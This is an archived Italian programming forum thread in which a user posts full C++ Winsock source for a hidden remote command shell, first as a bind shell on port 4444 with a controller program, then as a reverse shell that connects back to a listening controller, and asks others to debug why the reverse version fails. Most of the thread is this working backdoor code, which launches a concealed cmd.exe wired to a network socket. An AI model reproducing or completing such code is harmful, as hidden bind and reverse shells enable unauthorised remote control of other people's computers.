PDA

View Full Version : [c++] shell remota...


mamo139
29-10-2006, 15:39
ho trovato in internet questo esempio di shell remota...

#define WIN32_LEAN_AND_MEAN

#include "sock.h"
#include <stdio.h>
#include <windows.h>
#include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock

#pragma comment(lib,"Ws2_32.lib") //Winsocket lib

#define SHELL_NAME "cmd\0"

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){


SOCKET sock, sendrecv;
struct sockaddr_in sock_addr,sendrecv_addr;
WSADATA data;
WORD p;
int len;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;


//connessione modalità server...
p=MAKEWORD(2,0);
WSAStartup(p,&data);

sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0); //utilizzo la WSASocket() invece della socket()

sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(4444); //Utilizzo la porta 4444
sock_addr.sin_addr.s_addr=INADDR_ANY;

bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
listen(sock,1);
int lun = sizeof (struct sockaddr);
sendrecv = accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);

sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

memset((void *) &si, 0, sizeof(si));
memset((void *) &pi, 0, sizeof(pi));

si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;

si.wShowWindow = SW_HIDE;
si.hStdInput = (void *)sendrecv; // posso assegnare lo standard input direttamente alla socket
si.hStdOutput = (void *)sendrecv; // devo utilizzare un cast in quanto la socket ?n intero,
si.hStdError = (void *)sendrecv; // mentre io ho bisogno di una variabile tipo Handle (puntatore a void)

CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

// closesocket(sendrecv);
// closesocket(sock);
// WSACleanup();


return 0;
}


e io ho costruito questo altro programmino per il suo utilizzo


#include "sock.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock

#pragma comment(lib,"Ws2_32.lib") //Winsocket lib

#define SHELL_NAME "cmd\0"

int main(){


SOCKET sock, sServerSock;
char pBuffer[2000];
int iBytes;

sServerSock = InitClientSocket("127.0.0.1", 4444);

if (sServerSock != 0){ //controllo connessione
printf("connessione avvenuta!\n");
} else return -1;

while(TRUE){

while(TRUE){
iBytes = recv(sServerSock,pBuffer,2000,0);
pBuffer[iBytes] = '\0';
printf("%s",pBuffer);
if(pBuffer[iBytes-1] == '>') break;
}

pBuffer[0] = '\0';
gets(pBuffer);
send(sServerSock, pBuffer,lstrlen(pBuffer),0);
pBuffer[0] = '\n';pBuffer[1] = '\0';
send(sServerSock, pBuffer,lstrlen(pBuffer),0);

}
system("pause");
return 0;
}

e fin qui tutto ok, funzionano a meraviglia...
però come esperimento volevo provare a invertire la modalità diconnessione...
ovvero trasformare la shell remota in un client e il mio programma in un server al quale la shell remota si connette...

ho quindi pensato di sostituire le prime parti del programma in cui avvengono le connessioni, ma così non funziona... qualcuno sa dirmi come fare???
grazie ciao

71104
29-10-2006, 15:57
perché non funziona? WSAGetLastError cosa ritorna?

-fidel-
29-10-2006, 16:56
ho quindi pensato di sostituire le prime parti del programma in cui avvengono le connessioni, ma così non funziona... qualcuno sa dirmi come fare???
grazie ciao

E dov'é il problema?

mamo139
29-10-2006, 19:28
ok.. ho provato di nuovo...
dunque, mentre il codice postato prima funziona perfettamente...
l'opposto non funziona, o meglio il server (ovvero quello che dovrebbe inviare i comandi alla shell) riceve cose senza senso fino a riempire il buffer del tutto e dare errore del programma...
vi posto il codice:


client:
#define WIN32_LEAN_AND_MEAN

#include "sock.h"
#include <stdio.h>
#include <windows.h>
#include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock

#pragma comment(lib,"Ws2_32.lib") //Winsocket lib

#define SHELL_NAME "cmd\0"

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){


SOCKET sock, sendrecv;
struct sockaddr_in sock_addr,sendrecv_addr;
WSADATA data;
WORD p;
int len;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;



sendrecv = InitClientSocket("127.0.0.1", 4444);
if (sendrecv == 0){
MessageBox(0,"connessione non avvenuta","shell",MB_OK);
}

sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

memset((void *) &si, 0, sizeof(si));
memset((void *) &pi, 0, sizeof(pi));

si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;

si.wShowWindow = SW_HIDE;
si.hStdInput = (void *)sendrecv; // posso assegnare lo standard input direttamente alla socket
si.hStdOutput = (void *)sendrecv; // devo utilizzare un cast in quanto la socket ?n intero,
si.hStdError = (void *)sendrecv; // mentre io ho bisogno di una variabile tipo Handle (puntatore a void)

CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

// closesocket(sendrecv);
// closesocket(sock);
// WSACleanup();


return 0;
}


server:

#include "sock.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock

#pragma comment(lib,"Ws2_32.lib") //Winsocket lib

#define SHELL_NAME "cmd\0"

int main(){


char pBuffer[64000];
int iBytes;

SOCKET sock, sendrecv;
struct sockaddr_in sock_addr,sendrecv_addr;
WSADATA data;
WORD p;
int len;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;


//connessione modalità server...
p=MAKEWORD(2,0);
WSAStartup(p,&data);

sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0); //utilizzo la WSASocket() invece della socket()

sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(4444); //Utilizzo la porta 4444
sock_addr.sin_addr.s_addr=INADDR_ANY;

bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
listen(sock,1);
int lun = sizeof (struct sockaddr);
sendrecv = accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);



while(TRUE){


while(TRUE){
iBytes = recv(sendrecv,pBuffer,64000,0);
pBuffer[iBytes] = '\0';
printf("%s",pBuffer);
if(pBuffer[iBytes-1] == '>') break;
}

pBuffer[0] = '\0';
gets(pBuffer);
send(sendrecv, pBuffer,lstrlen(pBuffer),0);
pBuffer[0] = '\n';pBuffer[1] = '\0';
send(sendrecv, pBuffer,lstrlen(pBuffer),0);

}
system("pause");
return 0;
}


funzione InitClientSocket

SOCKET InitClientSocket(char *pHost, int iPort){
struct sockaddr_in saClient;
struct hostent *pHostinfo;
SOCKET sock;

WORD version;
WSADATA WSAData;
version=MAKEWORD(1,1);
WSAStartup(version, &WSAData);


//Avvia il socket
if ((sock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
return 0;
}

//Risolve il DNS
pHostinfo=gethostbyname(pHost);
if (pHostinfo==NULL){
return 0;
}

//Imposta la connessione con il server...
saClient.sin_family=AF_INET;
saClient.sin_addr=*((struct in_addr *)pHostinfo->h_addr);
saClient.sin_port=htons(iPort);


//Si connette al server...
if (connect(sock,(struct sockaddr *)&saClient, sizeof(saClient))){
return 0;
}

return sock;
}

mamo139
30-10-2006, 14:33
precisamente le cose senza senso sono sempre lo stesso simbolo... che è tipo una parentesi quadra... bah... :confused:

mamo139
30-10-2006, 20:53
l'errore è così:
http://img238.imageshack.us/img238/3986/errorebs6.jpg

mamo139
31-10-2006, 14:58
nessuno sa aiutarmi?? :mc:

mamo139
01-11-2006, 18:51
up

mamo139
02-11-2006, 11:12
ecco tutti i progetti
http://thesolution.altervista.org/marco2/shell_remota.htm
dunque:
il "centro di controllo client" e la "shell server" vanno...
il problema è il loro opposto, ovvero:
"centro di controllo server" e la "shell client"

-fidel-
03-11-2006, 08:04
Purtroppo, personalmente, è un periodo di cronica mancanza di tempo...
Appena posso comunque gli do un'occhiata. Hai fatto bene a mettere il progetto, così faccio prima :)

mamo139
03-11-2006, 15:38
Purtroppo, personalmente, è un periodo di cronica mancanza di tempo...
Appena posso comunque gli do un'occhiata. Hai fatto bene a mettere il progetto, così faccio prima :)
ah ok... grazie mille!!!!!
io continuavo a postare solo quando il topic andava in seconda pagina per lasciarlo visibile... :D

mamo139
04-11-2006, 14:16
news:
ho messo dei controlli nel server:

while(TRUE){
iBytes = recv(sendrecv,pBuffer,64000,0);
if (iBytes<0){
printf("\nRECV() ERROR %d %d\n",iBytes,WSAGetLastError());
break;
}

e ne è saltato fuori l'errore
10054 WSAECONNRESET: Connection reset by peer
sembrerebbe quindi che il problema stia nel client